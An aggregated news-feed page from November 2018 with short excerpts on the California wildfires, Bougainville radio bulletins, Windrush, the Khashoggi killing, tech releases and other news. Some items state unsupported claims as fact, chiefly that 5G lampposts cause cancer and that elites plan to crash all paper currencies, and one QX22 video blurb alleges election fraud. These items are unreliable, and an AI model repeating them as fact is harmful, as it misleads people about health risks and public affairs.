After burning for more than one week, the Woolsey Fire near Los Angeles has destroyed over 98,300 acres, approximately equal in size to the city of Denver, Colorado. The fire prompted the evacuation of more than 295,000 people and is responsible for three deaths thus far. An estimated 504 structures have been destroyed and an entire section of the Pacific Coast Highway remains closed.

As new details emerge of the Woolsey Fires devastation, the death toll in Northern Californias Camp Fire jumped to 63 on Thursday with the number of missing increasing to 631. The Camp Fire is now the deadliest wildfire in California history. More than 11,862 structures have been destroyed as of this writing. The Camp Fire completely destroyed the town of Paradise in the Sierra Nevada mountain foothills leaving more than 26,000 residents with no homes to return to.

The Woolsey Fire has affected the cities of Malibu, Bell Canyon, Oak Park, West Hills, Calabasas, Simi Valley and Thousand Oaksall west of downtown Los Angeles. When the fire started last Thursday night, strong winds blew hot embers across entire sections of freeway and delayed the use of aerial fire suppression for three days.

Only one day before the fire started, the Thousand Oaks community was devastated by a mass shooting of mainly college students at the Borderline Bar and Grill, ending with the deaths of 13 people. This was one of the 20 most deadly mass shootings in US history and the second deadliest in the state of California.

Although still severely traumatized by the shooting, survivors were forced...

12:33

1950 UK Conservative Party report on Miss Margaret Roberts, aka Maggie Thatcher "IndyWatch Feed Allworld"

Thanks to Miranda Devine and Gray Connolly for the tip about this wonderful piece of history. Gray describes it thus: An internal Tory HQ memorandum of 14 February 1950 discussing the political skill, deft campaigning, and sheer hard work of a Miss Margaret Roberts, who, as Margaret Thatcher, would late...

12:32

What do air filters have to do with your blood pressure? "IndyWatch Feed Allworld"

In a study published in The Lancet, researchers called air pollution the largest environmental cause of disease and premature death in the world today. More than 9 million premature deaths were caused by air pollution in 2015, nearly 16 percent of deaths worldwide. This was three times more deaths than attributed to tuberculosis, malaria and []

The post What do air filters have to do with your blood pressure? appeared first on Health Nut News.

12:32

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

161118 CITIZEN CONCERNED AT SOLOMON COCONUT BEETLE
New Dawn FM News

A local copra buyer is calling on the border crossers between Solomon Islands and Bougainville to stop from carrying plants across the border between the two countries.
He told New Dawn FM that from experience during the Bougainville conflict there is special ant species called SOLOMON ANTS that were taken to Bougainville and are now all over the island.
PAULUS KEPSON said that he was concerned at learning that BEETLES were now destroying coconut trees in the Solomon Islands and does not want these pests to reach Bougainville.
He said Bougainville has the largest coconut plantations and if these pests reach Bougainville it could destroy the industry on Bougainville.
PEPSON also called on the Customs officers to make sure they monitor the travelling public on the border.

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12:29

Windrush: the inevitable result of a hostile environment and no legal recourse "IndyWatch Feed Allworld"

As the UK government designs the compensation scheme for victims of the Windrush scandal, we look at the toxic combination of factors that caused the scandal in the first place.

The plight of the Windrush generation is rightly viewed as the most shocking scandal to emerge from the UK immigration system for a generation.

As a result of deliberate UK government policy, long-term British residents were ensnared by a Hostile Environment dragnet. This approach to immigration renders people who look or sound a bit foreign as undesirable or unlawful until they show their papers to their landlords, their employers and their doctors. And it essentially turns basic public service providers, and our fellow citizens, into Border police.

This is what happened to Eleanor Peterson (featured in the film above). After living and working in the UK for her entire adult life, everything imploded in 2015 when she tried to apply for a new job. Having lost her residency papers in a flood at her home, she was unable to prove her status. Upon contacting the Home Office, she was informed that no records were held. This triggered a stressful and lengthy process to prove she was entitled to live and work in the UK.

Such hostile environment measures were rolled out despite the government being repeatedly warned that the risks of discrimination were too high. Tens of thousands of people who migrated from former British colonies after the war, at the British governments request, do not have the right type or volume of papers that the Home Offices notorious bureaucracy now demands. 

Although the system should be simple enough for people to navigate the rules and access the relevant documentation and processes that apply to them, it is notoriously complex and opaque. As one immigration solicitor said, the Home Office gives little guidance and you can be refused for failing to produce a document you were never asked for in the first place.

The legal profession's recommendations to the government, made in a 2014 report published by the Legal Action Group, were to create a specialist task force to deal with the fallout from the Hostile Environment policies. They were ignored.

The harsh measures taken by the government and the absurd decisions taken by the Home Office would no...

12:25

Israeli Defense Minister"s Resignation Not a Victory for Gaza but a Warning That the Worst Is to Come "IndyWatch Feed Allworld"

If Bennett is appointed as Liebermans replacement, it becomes near impossible to argue that Liebermans resignation is a political victory for Gazans. Instead, the high probability of a Bennett-led Defense Ministry would unleash a new, even more brutal wave of extrajudicial murders of unarmed Palestinians, one that would deliberately target children.

12:24

Just in time for Thanksgiving: 4 recalled turkey products to avoid "IndyWatch Feed Allworld"

Look before you cook your Thanksgiving feast.

Just in time for Thanksgiving, the USDA is raising the alarm about raw turkey. The news comes as Jennie-O Turkey Store Sales recalled 91,388 pounds of raw ground turkey products after the USDA linked a pack of raw ground turkey to the cause of a patients salmonella poisoning.

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12:23

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

161118CUSTOMS CONCERNED AT IMPORTERS

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Buka customs officials are concerned at Business Houses importing goods into Bougainville and not declaring what they are importing and evading import taxes.

Officials from the Customs office in Buka today gave New Dawn FM pictures of goods that came in one of the Business houses and these goods were not declared.

The officials said they will continue to monitor goods being imported by the business houses to make sure they were not trying to evade taxes to the government.

The Business house concerned will be referred to Police for investigation and will be charged.

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12:22

2018, The Year Food Waste Was Finally Taken Seriously "IndyWatch Feed Allworld"

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Americans throw away 133 billion pounds of food annually. TAZ/WIKIMEDIA COMMONS

This is the time of year, in the days prior to the USA Thanksgiving holiday, when I tend to recall the first time food waste, one of the oddest of plagues, came to my attention. Thank you Meg. And thanks to Yale e360 for reporting this heartening news:

In the first 10 months of 2018, investors poured $125 million into U.S. companies whose mission is to prevent food from going to waste, according to a new report.

ReFED, a non-profit dedicat...

12:20

Hemimastigotes: Scientists discover new branch on the tree of life "IndyWatch Feed Allworld"

Canadian researchers have discovered a new kind of organism that's so different from other living things that it doesn't fit into the plant kingdom, the animal kingdom, or any other kingdom used to classify known organisms. Two species of the microscopic organisms, called hemimastigotes, were found in dirt collected on a whim during a hike in Nova Scotia by Dalhousie University graduate student Yana Eglit. A genetic analysis shows they're more different from other organisms than animals and fungi (which are in different kingdoms) are from each other, representing a completely new part of the tree of life, Eglit and her colleagues report this week in the journal Nature.

12:15

JP Morgans Silver Hoard (Video) "IndyWatch Feed Allworld"

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12:15

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

161118BOUGAINVILLE OBSERVED APEC DAY HOLIDAY
New Dawn FM News

Bougainville today joined the rest of PAPUA New Guinea to observe the National APEC day declared by the National Government to coincide with the first arrival of APEC leader to Port Moresby.
The main government and Business houses closed their doors whilst some businesses continued as normal.
Despite the negativities regarding the APEC funding by the Prime Minister, Bougainville continues to go about its businesses as normal.

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12:07

If America Is Such A Happy Place, Why Is The Suicide Rate Up 34% Since The Year 2000? "IndyWatch Feed Allworld"

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In the years ahead, poverty is likely to get a whole lot worse in this country.

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12:04

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

151118MIRIORI SUPPORTS MOMIS WITH REGIONAL SECURITY FORCE
New Dawn FM News

The former BIG/BRA Secretary and now Businessman, MARTIN MIRIORI has supported the ABG President CHIEF DR. JOHN MOMIs call to deploy Regional Security Force during the conduct of the Bougainville Referendum vote next year.
MR. MIRIORI said it is important that Bougainvilleans must do everything that is possible to ensure that the outcome of the Referendum is fully credible and therefore no one must be allowed and be given any possible opening and opportunity to question the credibility of the popular peoples final choice.
He said that this International Security Force must be similar to the Truce Monitoring Group and must not be armed.

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12:04

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

151118TONSU CONSTITUENCY READY FOR CHRISTMAS GAMES
New Dawn FM News

The Tonsu Constituency is now on its final preparations to hold its Christmas and New Year Youth Sports Tournament with the THEME UNITING TONSU TOWARDS REFERENDUM.
The tournament is planned for the 26th to the 31st of December, 2018 and will showcase talents in Soccer for men and Volleyball for both men and women.
The Opening will be staged at TUNG village whilst all finals and closing will be done on Petats island.
Teams wishing to participate in Soccer must register only 22 players plus three officials whilst Volleyball must register 12 players and three officials.
Three Prizes for Soccer will be TWO THOUSAND KINA, ONE THOUSAND FIVE HUNDRED KINA and third Prize ONE THOUSAND KINA.
For Volley Ball the Prizes will range from EIGHT HUNDRED KINA, FOUR HUNDRED KINA and TWO HUNDRED KINA.
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12:03

Beautiful Christmas message from Sir Elton John. "IndyWatch Feed Allworld"

Just beautiful. Thank you Sir Elton and John Lewis & Partners.

12:01

World view Saturday "IndyWatch Feed Allworld"

Friday GMT For posting on events, news, opinions and anything of interest from around the world.

12:01

November 17 in history "IndyWatch Feed Allworld"

284  Diocletian was proclaimed emperor by his soldiers.

1183 The Battle of Mizushima.

1292 (O.S.) John Balliol became King of Scotland.

1511 Spain and England allied against France.

1558 Elizabethan era began: Queen Mary I of England died and was succeeded by her half-sister Elizabeth I of England.

1603 English explorer, writer and courtier Sir Walter Raleigh went on trial for treason.

1659 The Peace of the Pyrenees is signed between France and Spain.

1749   Nicolas Appert, French chef, inventor of canning, was born (d. 1841)

1777  Articles of Confederation are submitted to the states for ratification.

1796 Napoleonic Wars: Battle of Arcole  French forces defeated the Austrians in Italy.

1800 The United States Congress held its first session in Washington, D.C.

1811  Jos Miguel Carrera, Chilean founding father, was sworn in as President of the executive Junta of the government of Chile.

1812 Napoleonic Wars: Battle of Krasnoi.

1820 Captain Nathaniel Palmer became the first American to see Antarctica.

1831  Ecuador and Venezuela were separated from Greater Colombia.

1855 David Livingstone became the first European to see the Victoria Falls.

1858 Modified...

12:00

2009 Land Rover Defender "IndyWatch Feed Allworld"

Last nights snowy, sloppy mess was a reminder to reference a go-anywhere beast: I may not a truck guy, or a Ute person, or a fan of these big, ungainly low speed monstrosities. Yet I have always had a thing for the Land Rover Defender 90. Maybe its because you cannot buy them in the USA. Perhaps

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12:00

How to manage your workload during the holiday season "IndyWatch Feed Allworld"

When you feel like youre the only one doing work, it can feel miserable. Heres what you can do about it.

Though the holidays are a popular time for workers to cash in on their vacation days, there are plenty of good reasons not to take time off toward the end of the year. For one thing, holiday travel can be prohibitively expensive, so if youre looking to visit friends and family, the latter part of the year is perhaps the worst time to do so. Additionally, putting in more face time toward the end of the year can work to your advantage when your manager is focused on things like promotions and raises. And, youll probably find that youre more productive when the ever-present distractions known as your coworkers disappear.

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12:00

Three Native American professionals on how they deal with bias and lack of representation "IndyWatch Feed Allworld"

In honor of Native American Heritage Month, three professionals share how they navigate the obstacles they have faced in their careers.

When Tanaya Winder earned her Master of Fine Arts in 2012, she knew she wanted to make a living writing and performing spoken word. But without any blueprint to follow, she questioned whether shed be able to translate all the years shed spent studying creative writing and poetry into a viable career.

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12:00

A brilliant hack for New York Citys water hydrants "IndyWatch Feed Allworld"

Architect Tei Carpenter and designer Chris Woebken reimagine the overlooked, everyday hydrant to heighten the value of water.

New York City may be home of the Pizza Rat and one of the stinkiest waste infrastructure problems in the country, but its also one of only five major U.S. cities with water thats drinkable straight from the tap, and clean enough to forgo additional filtration. Its a rare urban asset, one that inspired architect Tei Carpenter and designer Chris Woebken to reimagine the everyday fire hydrant as something that could be used more broadly.

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12:00

Why the Perfect Red-State Democrat Lost "IndyWatch Feed Allworld"

Taylor Sappington heard the call like so many other Democrats in the year after Nov. 8, 2016. He had seen Donald Trump coming, homing in on his little town of Nelsonville, Ohio, in the states impoverished Appalachian southeast. The town of 5,300 people had voted for Barack Obama twice by large margins.

Trump was Nelsonvilles pick in 2016, though it was more by default than acclamation. Trump won there with less than a majority, with 30 percent fewer votes than Obama had gotten four years earlier.

Sappington, a 27-year-old Ohio native, took this as evidence that Nelsonville was not beyond redemption, that the town where he had grown up in hard circumstances the son of a single mother who was for a time on food stamps, living deep in the woods in a manufactured home wasnt really Trump country.

Not so long ago at all, Ohio was considered the quintessential swing state it had, after all, voted for the winning presidential candidate in every election starting with 1964. Something happened this decade, though. The 2010 national shellacking of Democrats left a particularly strong mark in Ohio. The Republicans who assumed control of Columbus pulled off an aggressive gerrymandering of federal and state legislative districts. In 2012, when Obama won the state for the second time, Republicans held 12 of the states 16 congressional seats despite winning only 52 percent of the total House vote.

The states makeup had been trending red, too. At a time when the share of white voters without college degrees who are fast becoming the Republican base decreased nationwide, it held strong in Ohio. The state was drawing relatively few immigrants, its education system was sliding in national rankings and, with its smaller cities and towns falling far behind thriving Columbus, it was losing many young college grads to jobs out of state.

Not Taylor Sappington, though. He wanted to stay. He had gotten hooked on national politics in high school, around the time he read a book on Robert F. Kennedys 1968 campaign. And he had gotten out of Nelsonville, winning nearly a full ride to George Washington University.

Barack Obama, then a presidential candidat...

11:59

The Great "DevOps Engineer" Title Debate "IndyWatch Feed Allworld"

At the DevOps Enterprise Summit in Las Vegas last month, DevOps author and researcher Gene Kim unveiled his latest definition of DevOps:

11:59

Nestle lawsuit looks at GMO feed use, labeling "IndyWatch Feed Allworld"

A class-action lawsuit filed in California this summer, claims Nestl USA misled consumers with a No GMO IngredientsTM certificate of approval on its packaging. (See the two examples above.)( According to the proposed class action suit filed this summer, neither a non-profit group nor a neutral third party bequeathed the above certificate of approval, but []

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11:56

Singapore wants to add face-recognition surveillance to 110,000 lamp posts "IndyWatch Feed Allworld"

The so-called Lamppost-as-a-Platform pilot project will allow the government to perform crowd analytics.

Singapore may be turning its island state into a surveillance state.

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11:55

Another Micro-ATX Haswell Era Motherboard Working With Coreboot But Needs Tiny Blob "IndyWatch Feed Allworld"

There are many Sandy Bridge era motherboards that have been freed by Coreboot while if you are looking for more options on something (slightly) newer, a micro-ATX Haswell-era motherboard from ASRock now works under this open-source BIOS implementation...

11:55

Russia Accused of Disrupting NATO Drills: Just Another Unfounded Allegation "IndyWatch Feed Allworld"

It has become a trend Russia is blamed for whatever goes wrong, without any evidence to support such accusations.

11:53

Wasp on pear, video "IndyWatch Feed Allworld"

This 2018 video shows a wasp trying to cut off a piece of pear to take along.

Thea Bezemer made this video in her backyard in the Netherlands.

11:53

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

151118BOUGAINVILLE PARLIAMENT ADJOURNS TO DECEMBER
New Dawn FM News

The Bougainville House of Representatives adjourned today to December for the BUDGET SESSION.
The house adjourned after completing business listed for this weeks meeting.
Business listed for this week included the Presidents Statement on a range of issues of relevance to the Peace Process and Referendum, Regional Parliamentary Committee Reports from the respective regions of North, Central and South Bougainville and changes to the Parliamentary Committees to accommodate the newly elected members for TAONITA TEOP, HALIA and KONGARA and the member for Tsitalato and former Minister for Economic Development, FIDELIS SEMOSO as members of Parliamentary Committees.
This weeks meeting also had the three new members made their maiden speeches to the House of representatives.

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11:52

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

151118MASIU CALLS ON MEMBERS TO SUPPORT HIM
New Dawn FM News
The Member for the biggest constituency on Bougainville, Konnou constituency and Minister for Police, Correctional Service and Justice, WILLIE MASIU yesterday called on members of the Bougainville House of Representatives to support him and not to dis unite his people by talking to them separately.
Minister MASIU made the call after the member for TOROKINA, STEVEN SUAKO told Parliament that he was concerned at the Meekamui activity in Konnou and will be talking to the people to get them to support the ABG.
Minister MASIU in welcoming support by other members appealed that if they want to visit his constituency they must make sure him as the local member is present.
He said members must concentrate in their constituencies to make sure they meet the 31st December target to declare their constituencies, Weapons free and referendum ready.
Konnou constituency has three Community Governments of Konnou, Konnou Coastal and Wisai and borders with Kongara, Kokoda, Lule and shares its border with the Solomon islands.
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11:50

Pentagon Fails Its First-Ever Audit "IndyWatch Feed Allworld"

Shocker. Via: Reuters: The Pentagon has failed what is being called its first-ever comprehensive audit, a senior official said on Thursday, finding U.S. Defense Department accounting discrepancies that could take years to resolve. Results of the inspection conducted by some 1,200 auditors and examining financial accounting on a wide range of spending including on []

11:50

Ocasio-Cortezs strategy for Twitter trolls? Dont get mad, get laughs "IndyWatch Feed Allworld"

Alexandria Ocasio-Cortez saves her anger for where its most useful and brushes off her attackers with grace and wit.

Because theres no trace of financial hypocrisy in the administration that ran on populism and passed a tax cut for billionaires, conservative pundits have turned their attention to freshperson congressperson Alexandria Ocasio-Cortez.

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11:48

Australian Universities ban sarcasm as 'form of violence' "IndyWatch Feed Allworld"

Government launches probe into campus censorship Australian universities have begun banning sarcasm by deeming it a "form of violence," according to a watchdog group. Gideon Rozner, director of policy at the Institute of Public Affairs (IPA), a think tank "dedicated to preserving and strengthening the foundations of economic and political freedom," praised the Australian government's announcement that it is launching a probe into the suppression of free speech on campuses across the country. Rozner explained to Sky News Australia the findings of a recent study conducted by IPA, which rated more than 80 percent of Australian universities as "hostile to free speech," while only one school earned a "green" rating for being supportive of free expression.

11:46

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

151118STATUS OF HEALTH SERVICES BY MINISTER
New Dawn FM News
The ABG Minister for Health, DENNIS LOKONAI says that the Health Department has worked diligently to advance the delivery of basic health Services to our people despite critical challenges and unavailability of the required resources.
The Minister made these remarks in his Ministerial statement to the ABG House of Representatives yesterday.
He said that despite these setbacks his department achieved some significant results.
The Minister said that his Ministry and Department is keen to continue the thrust and to drive the changes that are necessary to transform the health system and enhance the quality of healthcare.
Minister LOKONAI said the Ministry and the Department are trying to address the impediments that affect the health sector and dealing with non-performance and addressing corruption in the department.

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11:46

Californian Democrat Senator compares US Border Agents to Ku Klux Klan "IndyWatch Feed Allworld"

What a half-wit. I hope that people who are crashing the US border are in fear of the officers-of-the-law who are trying to stop them. These law-officers are keeping the peace! So what if the crooks fear them! Kamala Harris, the dull-witted Democratic Senator from CA, referred to ICE, as...

11:45

Teslas Q3 GAAP Net Income: Manipulation If Not Outright Fraud "IndyWatch Feed Allworld"

Teslas Q3 GAAP Net Income: Manipulation If Not Outright Fraud by David Kranzler Investment Research Dynamics I perused Teslas Q3 10-Q and scrutinized the footnotes to figure out, to the extent possible, where Tesla manipulated GAAP accounting standards and...

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11:44

Elite Plan to Crash ALL Paper Currencies and Usher In a Digital Currency "IndyWatch Feed Allworld"

 

The ultimate gold-digger, IMF Director, Christine Lagarde issued a statement yesterday in which she said that all countries should go to an electronic currency and they should abandon their national currency is very clear that the elite plan to destroy the  current paper currencies by collapsing the worlds economy.

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11:35

Partial results point to Madagascar election run-off "IndyWatch Feed Allworld"

With 80 per cent of the ballots counted from last weeks vote in Madagascar, two former presidents are in the lead.

11:33

Saudi journalist Khashoggi, Yemenis killed and the crown prince "IndyWatch Feed Allworld"

This 2018 Massachusetts Peace Action video from the USA says about itself:

The Man MIT [Massachusetts Institute of Technology] is Hosting is Causing the Worst Humanitarian Crisis on Earth

Yemeni-born graduate student Shireen Al-Adeimi spoke about Saudi Crown Prince Mohammed bin Salman at a protest we organized at MITs main entrance on March 23.

Translated from Dutch daily Trouw, 16 November 2018:

Saudi Crown Prince sacrifices his confidants

All the tricks and maneuvers of the Saudi government to divert attention from the murder of Jamal Khashoggi have failed. The Saudi authorities are now grasping for heavier ways. Prosecutors now demand the death penalty for five members of the death squad who were part of the fifteen-membered murder gang. In addition, five government officials were dismissed; also, a travel ban was imposed on them.

It seems like another attempt by Riyadh to shield the presumed main culprit: crown prince Mohamed bin Salman (MbS). The public prosecutor Shalaan al-Shalaan said that MbS knew nothing about...

11:32

Debt Rattle November 16 2018 "IndyWatch Feed Allworld"

David Hockney Portrait of an Artist (Pool with Two Figures) 1972   Julian Assange Has Been Charged, Prosecutors Reveal Inadvertently (WaPo) IMF Issues Stark Warning On Leveraged Loans (F.) Elizabeth Warren Says Fed Makes Same Mistakes As Before The Crisis (CNBC) Global Auto Industry Collapse Continues (ZH) Brexit Poll: Remain

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11:32

Sayyed Nasrallahs Full Speech on Hezbollah Martyrs Day "IndyWatch Feed Allworld"

  Local Editor The speech of Hezbollah Secretary General Sayyed Hassan Nasrallah delivered during the commemoration of Martyrs Day hosted by the party in Beirut and other areas 10-11-2018 I seek refuge in Allah from the accursed Satan. In the name of Allah the Most Gracious the Merciful. Praise be to Allah, Lord of the []

11:32

Leaks Show Europe's Attempts to Fix the Copyright Directive Are Failing "IndyWatch Feed Allworld"

The EUs Copyright in the Digital Single Market Directive is closer than ever to becoming law in 28 European countries, and the deep structural flaws in its most controversial clauses have never been more evident.

Some background: the European Union had long planned on introducing a new copyright directive in 2018, updating the previous directive from 2001. The EU's experts weighed a number of proposals, producing official recommendations on what should (and shouldn't) be included in the new directive, and meeting with stakeholders to draft language suitable for adoption into the EU member states' national laws.

Two proposals were firmly rejected by the EU's experts: Article 11, which would limit who could link to news articles and under which circumstances; and Article 13, which would force online platforms to censor their users' text, video, audio, code, still images, etc., based on a crowdsourced database of allegedly copyrighted works.

But despite the EU's expert advice, these clauses were re-introduced at the last minute, at a stage in the directive's progress where they would be unlikely to receive scrutiny or debate. Thankfully, after news of the articles spread across the Internet, Europes own voters took action and one million Europeans wrote to their MEPs to demand additional debate. When that debate took place in September, a divided opposition to the proposals allowed them to continue on to the next phase.

Now, the directive is in the final leg of its journey into law: the "trilogues," where the national governments of Europe negotiate with the EU's officials to produce a final draft that will be presented to the Parliament for a vote.

The trilogues over the new directive are the first in EU history where the public are allowed some insight into the process, thanks to a European Court of Justice ruling that allows members of the European Parliament to publicly disclose the details of the trilogues. German Pirate Party MEP Julia Reda has been publishing regular updates from behind the trilogues' closed doors.

It's anything but an orderly process. A change in the Italian government prompted the country to withdraw its support for the directive. Together with those natio...

11:31

Qt 5.12 Lowering The QML Memory Consumption, Better JavaScript Performance "IndyWatch Feed Allworld"

As part of The Qt Company's ongoing improvements to their tool-kit and with Qt 5.12 being an LTS release, this cycle they focused a lot on improving the performance...

11:30

The Amazon deal is even worse than it looks and will cost NY more than it thinks "IndyWatch Feed Allworld"

The fourth-costliest megadeal in U.S. history, just behind the Foxconn fiasco in Wisconsin, will actually cost $112,000 per job in New York and even that is not a full accounting for its impact.

Amazons decision to locate two new headquarters in Long Island City in Queens, New York and Crystal City in Arlington, Virginia has already provoked a firestorm of outrage, especially over the news that tax breaks and other subsidies for the sites will exceed $4.6 billion.

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11:25

Heres what digital devices are really doing to our brains "IndyWatch Feed Allworld"

Heres what digital devices are really doing to our brains

Digital devices dominate modern culture, consuming our attention and distracting our brains throughout the day. Its easy to see why we dedicate our lives to the devices. Smart phones and tablets have replaced not only our cumbersome landline phones, clocks, calendars, notepads, and CD players, but they have also given us access to a personalized stream of information, video, and communication that we can carry around in our pocket and access virtually anywhere. Even though the conveniences are undeniable, what are digital devices really doing to our brains?

Since the brain has the ability to reprogram itself over time, the way we use digital information and communication has a profound effect on how we maintain focus, learn, and remember things. Neuroscientists believe that the devices arent universally damaging our brains; more importantly, its how we use devices that makes all the difference.

Instead of avoiding digital devices forever, people can foster ways to help their brain get the most out of its experience balancing real life with digital life. People who regularly use devices must consciously learn to develop their concentration, self-control, and critical-thinking skills at the same time. If they truly want to benefit from technology long term, users must make discerning, aware decisions about the information they are interacting with. In other words, for the brain to stay healthy, the person should always be aware of the information they are consuming, so they are not consumed by the information or distract...

11:25

Goodbye, and Thanks for All the Fish "IndyWatch Feed Allworld"

It surprises me that, in all the discussion and analysis of the withdrawal agreement, there has been so little analysis of the much more important conjoined Political Declaration, which is about the UKs prospective relationships once the divorce is over. It particularly surprises me that so very little has been said about fish.

11:24

Uber Posts $1 Billion Loss in Quarter as Growth in Bookings Slow "IndyWatch Feed Allworld"

Uber Technologies Inc said on Wednesday that growth in bookings for its ride-hailing and delivery services rose 6 percent in the latest quarter, the third quarter in a row that growth has remained in the single digits after double-digit growth for all of last year.

The San Francisco-based firm lost $1.07 billion for the three months ending Sept. 30, a 20 percent increase from the previous quarter but down 27 percent from a year ago, when the company posted its biggest publicly reported quarterly loss on the heels of the departure of Uber co-founder and former Chief Executive Travis Kalanick.

Uber is seeking to expand in freight hauling, food delivery and electric bikes and scooters as growth in its now decade-old ride-hailing business dwindles. The company, valued at $76 billion, faces pressure to show it can still grow enough to become profitable and satisfy investors in an initial public offering planned for some time next year. ADVERTISEMENT

Its adjusted loss before interest, taxes, depreciation and amortization was $592 million, down from $614 million last quarter and $1.02 billion a year ago.

We may lose money on every transaction but we'll make it up in volume?

But seriously, I find it interesting there was absolutely no mention of their plans with self-driving vehicles.


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11:23

Turkish police detain 12 academics, activists in raids "IndyWatch Feed Allworld"

Police in Istanbul detained 12 academics, businesspeople and journalists as part of an investigation into an association that was headed by a jailed prominent businessman and activist, Turkeys state-run news agency reported Friday.

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Anadolu Agency said professors Betul Tanbay and Turgut Tarhanli of Istanbuls Bosphorus and Bilgi universities and journalist Cigdem Mater were among those detained in simultaneous police operations in the city.

Those arrested were being questioned over their links to the Anatolia Culture Association founded by Osman Kavala, a philanthropist businessman, who himself had been jailed a year ago. (AFP)

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They are being questioned over their links to the Anatolia Culture Association founded by Osman Kavala, a philanthropist businessman who was arrested a year ago pending trial, accused of alleged attempts to abolish the constitutional order and the government. No indictment has been issued against him.

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Anadolu said police were searching for eight other people linked to the association which says it aims to promote peace and minority rights through culture.

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Since an attempted coup in 2016, Turkeys government has been accused of stifling freedom of expression for arresting thousands of people for alleged connections to US-based cleric Fethullah Gulen, whom Turkey blames for the failed attempt, or links to terror groups. It has purged many more people from state institutions and jailed dozens of journalists.

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Turkish President Recep Tayyip Erdogan has called Kavala Turkeys Soros, a reference to American billionaire George Soros, whose Open Society Foundations have funded education, health, justice and media projects around the world. Pro-government media in Turkey accuse Kavala of engaging in anti-government conspiracies.

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Eleven prominent activists, including Amnesty Internationals former Turkey chairman, were arrested last year at their hotel on an island off of Istanbul while training. They were eventually released from jail pending the outcome of their trial for supporting terror groups.

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Separately on Friday, police detained 86 people, most of them former Air Force personnel, in operations across Turkey and were looking for 100 others for alleged links to Gulens movement, Anadolu reported.
More than 15,000 people have been purged from the military since the coup, Turkeys defense minister has said.

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The cleric denies involvement in the coup.

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11:22

When the Fork Forks: What You Need to Know as Bitcoin Cash Goes to War "IndyWatch Feed Allworld"

Bitcoin seems largely a psychological currency whose value oscillates mostly in response to changes in folks opinions rather than shifts in some real underlying store of value, imo https://bitcoinmagazine.com/articles/when-fork-forks-what-yo-goes-war/ https://paper.li/e-1437691924


Heres what you need to know to get up to speed.

As a quick reminder, what is Bitcoin Cash again?

Bitcoin Cash (sometimes referred to as Bcash or BCH) is a cryptocurrency that split off from the main Bitcoin blockchain in August 2017. Culminating from Bitcoins years-long scaling dispute, the spinoff project most notably increased its block size limit through a contentious hard fork upgrade, forking off to become its own coin though some of its proponents see it as the real Bitcoin. While currently trading at a fraction of bitcoins value around $480 at the time of writing Bitcoin Cash is the fourth biggest cryptocurrency by market cap and has garnered support from big names in the cryptocurrency space like bitcoin.com CEO Roger Ver and Bitmain co-founder Jihan Wu.

11:18

Britain's first court case against 5G wireless technology And the people won "IndyWatch Feed Allworld"

Mark Steele, a 5G campaigner, has been highlighting the dangers of a secret 5G rollout by Gateshead council where residents are complaining of increased illness and Cancer in the affected area. There's enough evidence to conclude the new smart 5G arrays on the top of new LED lampposts emit Class 1 Radiation frequencies and should be treated as a danger to the Public. Gateshead council ignorantly rebutted clear evidence and created false allegations on social media posts and printed leaflets stating that Mark Steele is spreading Pseudo Science and that the arrays are not dangerous or 5G: "Please be assured that there is no scientific basis or credible evidence for any of these scare stories about street lights causing cancer and other illnesses."

11:16

US to vote against UN resolution condemning Israeli presence in Golan A reversal of Obama administration "IndyWatch Feed Allworld"

Signifying dramatic shift in policy, outgoing Ambassador Haley says mission will oppose plainly biased annual motion after years of abstaining

United States ambassador to the United Nations Nikki Haley, center, raises her hand as she votes yes to levy new sanctions on North Korea during a meeting of the United Nations Security Council concerning North Korea at UN headquarters, in New York City, September 11, 2017. (Drew Angerer/Getty Images/AFP)
United States ambassador to the United Nations Nikki Haley, center, raises her hand as she votes yes to levy new sanctions on North Korea during a meeting of the United Nations Security Council concerning North Korea at UN headquarters, in New York City, September 11, 2017. (Drew Angerer/Getty Images/AFP)

The United States will for the first time vote against an annual UN resolution calling for Israel to withdraw from the Golan Heights, the countrys mission to the world body said on Friday, signifying a dramatic shift in US policy toward the territory.

In Fridays scheduled vote on The Occupied Syrian Golan resolution, the US will change its yearly abstention to a no vote, outgoing US Ambassador to the UN Nikki Haley said in a statement.

If this resolution ever made sense, it surely does not today. The resolution is plainly biased against Israel, Haley said, announcing the planned move.

The non-binding resolution, which is voted on by the UN General Assemblys Third Committee each year, takes issue with the illegality of the decision taken by Israel to impose its laws, jurisdiction and administration on the occupied Syrian Golan, which it says is illegal under international law.

Israeli soldiers at an army base in the Golan Heights look out across the border with Syria on July 7,...

11:16

Mozilla Now Ships Firefox Nightly Builds With Wayland Enabled "IndyWatch Feed Allworld"

After what feels like an eternity in waiting years for Mozilla to ship their Firefox web-browser with native Wayland support enabled, their latest Firefox Nightly builds have achieved this milestone...

11:15

Heavy snowfall in Turkey - up to 2 feet "IndyWatch Feed Allworld"

More than 2 feet of snow in places. 15 Nov 2018 - On the Van-Bahesaray highway, Traffic has been "negatively affected" by heavy snowfall at the 3,000-meter Karabet Pass. Video: Heavy snowfall in northern Turkey near the coast with the Black Sea.

11:15

This Is Why Everything Needs To Be Put In Place Before The Hammer Is Dropped (Video) "IndyWatch Feed Allworld"

This Is Why Everything Needs To Be Put In Place Before The Hammer Is Dropped Video QX22 Report The MSM is now pushing their agenda in every area. Election fraud, events in CA, the caravan moving up to the...

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11:14

Ruby in Containers "IndyWatch Feed Allworld"

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11:11

Mexico rules military fight against drug cartels is unlawful "IndyWatch Feed Allworld"

Mexicos top court has struck down a law that formalized the decade-old domestic deployment of the military. The military are widely seen as the only trustful agency capable of fighting against powerful drug cartels.

    
A Mexican military man guards the area where the 134 tons of marihuana are being cremated in a military base in Tijuana

Mexicos Supreme Court on Thursday struck down a law that had legalized the domestic deployment of the military against drug cartels.

Deploying the military against cartels has been commonplace in the country since 2006, but the situation was only formalized by legislation last year.

However, nine of the 11 justices in Mexicos highest court ruled that the legislation violated the constitution. President Enrique Pena Nieto sent the bill directly to the court for review after signing it in, amid widespread outcry over the law.

The court found that Mexicos Congress lacked the authority to legislate on domestic security, saying only the executive branch can dispatch troops.

